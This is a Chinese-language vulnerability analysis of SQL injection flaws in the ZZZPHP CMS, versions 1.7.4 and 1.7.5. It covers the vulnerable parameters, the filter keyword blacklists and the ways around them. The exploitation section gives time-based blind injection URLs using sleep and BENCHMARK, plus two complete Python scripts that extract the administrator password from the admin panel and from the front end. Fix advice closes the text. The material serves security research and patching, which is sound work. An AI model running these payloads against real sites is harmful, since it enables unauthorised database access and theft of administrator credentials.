zzzphp到处都是sql注入
字数 1546 2025-08-26 22:11:40
ZZZPHP CMS SQL注入漏洞分析与利用
漏洞概述
ZZZPHP是一款小众CMS系统,在1.7.4和1.7.5版本中存在多处SQL注入漏洞,涉及前后台多个功能点。这些漏洞主要由于未对用户输入进行充分过滤,直接将用户可控参数拼接到SQL语句中导致。
受影响版本
- ZZZPHP 1.7.4
- ZZZPHP 1.7.5
漏洞分析
后台注入点分析(1.7.4版本)
第一处注入点:cid参数
位置:admin241/index.php 14行及17行
$cid=geturl('cid');
$data=db_load_sql_one('select *,b.sid,b.s_type from [dbpre]content a,[dbpre]sort b where b.sid=a.c_sid and cid='.$cid);
关键点:
cid参数直接拼接在SQL语句中,无单引号保护- 通过
geturl函数获取参数,存在以下限制:- 不能存在空格、制表符等字符
- 不能存在
/字符 - 不能存在
&字符 - 不能存在
=字符
danger_key函数过滤了危险字符:- 过滤:
php,preg,server,chr,decode,html,md5,post,get,file,cookie,session,sql,del,encrypt,$,system,exec,shell,open,ini_,chroot,eval,passthru,include,require,assert,union,_ - 检测并报错:
php,preg,decode,post,get,cookie,session,$,exec,ascii,eval,replace
- 过滤:
其他8处后台注入点
同样存在直接拼接用户输入到SQL语句中的问题,如:
- sid参数
- stype参数
- pid参数
- customid参数
- uid参数
- gid参数
前台注入点分析(1.7.4版本)
位置:inc/zzz_client.php -> ParseGlobal(G('sid'),G('cid'))
关键点:
- 通过
getlocation函数解析URL参数 cid参数最终拼接到SQL语句:select * from zzz_sort where sid=(select c_sid from zzz_content where cid=$cid)- 限制条件比后台宽松,未调用
danger_key函数
1.7.5版本变化
danger_key函数增加了htmlspecialchars处理- 新增过滤关键字:
create,func,symlink,sleep - 前台注入点增加了
danger_key过滤
漏洞利用
1.7.4后台注入利用
时间盲注POC:
http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid(user(),1,1))<98)))
获取管理员密码的Python EXP:
import urllib.request
import time
headers = {
"Cookie": "zzz_adminpass=1; zzz_adminpath=0; zzz_adminname=admin; zzz_admintime=1574763592; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png; PHPSESSID=5iqginknjajejlgk18rerm73a3",
}
result = []
for i in range(1,17):
for j in range(47,122):
url = "http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(sleep(0.1*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+")))"
try:
request = urllib.request.Request(url=url,headers=headers)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位:"+chr(j-1))
result.append(chr(j-1))
time.sleep(2)
break
print(result)
1.7.4前台注入利用
时间盲注POC:
127.0.0.1/zzzphp/?news/7>sleep(0.03)
获取管理员密码的Python EXP:
import urllib.request
import time
result = []
for i in range(1,17):
for j in range(47,122):
url = "http://127.0.0.1/zzzphp/?news/7>sleep(0.03*(ord(mid((select(password)from([dbpre]user)where+uid<2),"+str(i)+",1))<"+str(j)+"))"
try:
request = urllib.request.Request(url=url)
response = urllib.request.urlopen(request,timeout=1)
except:
print("第"+str(i)+"位:"+chr(j-1))
result.append(chr(j-1))
time.sleep(2)
break
print(''.join(result))
1.7.5后台注入利用
使用BENCHMARK代替sleep:
POC:
http://127.0.0.1/zzzphp/admin241/?module=content&sid=123&cid=(BENCHMARK(35000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333)))
1.7.5前台注入利用
POC:
127.0.0.1/zzzphp/?news/7+BENCHMARK(7000000*(ord(mid((select(password)from([dbpre]user)where(uid)in(1)),1,1))like(52)),hex(233333))
技术要点
-
绕过空格限制:
- 使用括号
()代替空格 - 使用
+连接字符
- 使用括号
-
绕过等于号限制:
- 使用
<或>代替= - 使用
like或in代替=
- 使用
-
时间盲注技巧:
sleep(0.1*(条件))- 条件成立时执行延时BENCHMARK(重复次数,表达式)- 通过大量计算实现延时
-
表前缀处理:
- 使用
[dbpre]代替实际表前缀,系统会自动替换
- 使用
修复建议
- 对所有用户输入进行严格的过滤和转义
- 使用预处理语句(PDO)或参数化查询
- 对数据库操作进行统一的封装和安全检查
- 限制特殊字符的输入
- 对关键函数进行权限控制
总结
ZZZPHP CMS在多个版本中存在严重的SQL注入漏洞,攻击者可以利用这些漏洞获取管理员密码等敏感信息。开发人员应重视安全编码规范,避免直接将用户输入拼接到SQL语句中。安全研究人员在测试时应关注参数传递流程和过滤机制,寻找可能的绕过方式。